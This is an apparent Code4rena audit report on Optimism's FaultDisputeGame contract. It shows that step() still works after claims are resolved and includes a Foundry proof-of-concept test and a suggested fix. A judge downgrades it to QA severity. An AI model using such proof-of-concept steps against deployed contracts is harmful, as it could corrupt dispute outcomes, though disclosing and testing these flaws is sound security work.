howlbot-integration[bot] commented 3 months ago

Lines of code

https://github.com/code-423n4/2024-07-optimism/blob/70556044e5e080930f686c4e5acde420104bb2c4/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L234

Vulnerability details

Description

The FaultDisputeGame::step() function is used to come to a conclusion whether a claim is correct or not. It gets utilized once a fault dispute game has a claim at MAX_GAME_DEPTH, as steps are executed at MAX_GAME_DEPTH + 1. The problem is, that step() does no validation on whether a game's rootClaim has already been resolved. Once that has been done, the only action at that point should be to call resolve.

Impact

This means that counteredBy of a claim can be set after rootClaim has been resolved, after which no state changes should be possible anymore.

Proof of Concept

For this PoC I slightly modified test_resolve_bondPayouts_succeeds to show that stepping works after resolveClaim. In order to execute it, please add it to FaultDisputeGame.t.sol and execute it with forge test --match-test test_step_after_resolveClaim -vv.

function test_step_after_resolveClaim() public {
    // Give the test contract some ether
    uint256 bal = 1000 ether;
    vm.deal(address(this), bal);

    // Make claims all the way down the tree.
    uint256 bond = _getRequiredBond(0);
    uint256 totalBonded = bond;
    (,,,, Claim disputed,,) = gameProxy.claimData(0);
    gameProxy.attack{ value: bond }(disputed, 0, _dummyClaim());
    bond = _getRequiredBond(1);
    totalBonded += bond;
    (,,,, disputed,,) = gameProxy.claimData(1);
    gameProxy.attack{ value: bond }(disputed, 1, _dummyClaim());
    bond = _getRequiredBond(2);
    totalBonded += bond;
    (,,,, disputed,,) = gameProxy.claimData(2);
    gameProxy.attack{ value: bond }(disputed, 2, _dummyClaim());
    bond = _getRequiredBond(3);
    totalBonded += bond;
    (,,,, disputed,,) = gameProxy.claimData(3);
    gameProxy.attack{ value: bond }(disputed, 3, _dummyClaim());
    bond = _getRequiredBond(4);
    totalBonded += bond;
    (,,,, disputed,,) = gameProxy.claimData(4);
    gameProxy.attack{ value: bond }(disputed, 4, _changeClaimStatus(_dummyClaim(), VMStatuses.PANIC));
    bond = _getRequiredBond(5);
    totalBonded += bond;
    (,,,, disputed,,) = gameProxy.claimData(5);
    gameProxy.attack{ value: bond }(disputed, 5, _dummyClaim());
    bond = _getRequiredBond(6);
    totalBonded += bond;
    (,,,, disputed,,) = gameProxy.claimData(6);
    gameProxy.attack{ value: bond }(disputed, 6, _dummyClaim());
    bond = _getRequiredBond(7);
    totalBonded += bond;
    (,,,, disputed,,) = gameProxy.claimData(7);
    gameProxy.attack{ value: bond }(disputed, 7, _dummyClaim());
    gameProxy.addLocalData(LocalPreimageKey.DISPUTED_L2_BLOCK_NUMBER, 8, 0);

    // Ensure we bonded the correct amounts
    assertEq(address(this).balance, bal - totalBonded);
    assertEq(address(gameProxy).balance, 0);
    assertEq(delayedWeth.balanceOf(address(gameProxy)), totalBonded);

    // Resolve all claims
    vm.warp(block.timestamp + 3 days + 12 hours);
    for (uint256 i = gameProxy.claimDataLen(); i > 0; i--) {
        (bool success,) = address(gameProxy).call(abi.encodeCall(gameProxy.resolveClaim, (i - 1, 0)));
        assertTrue(success);
    }

    // This is a step after `resolveClaim` which should not work
    gameProxy.step(8, true, absolutePrestateData, hex"");

    // Ensure that the step successfully countered the leaf claim.
    (, address counteredBy,,,,,) = gameProxy.claimData(8);
    assertEq(counteredBy, address(this));

    gameProxy.resolve();
}

Tools Used

Manual review

Recommended Mitigation Steps

In order to prevent this, I would suggest adding a check to the FaultDisputeGame::step() function, checking whether the rootClaim has already been resolved.

Assessed type

Invalid Validation

c4-judge commented 3 months ago

zobront changed the severity to QA (Quality Assurance)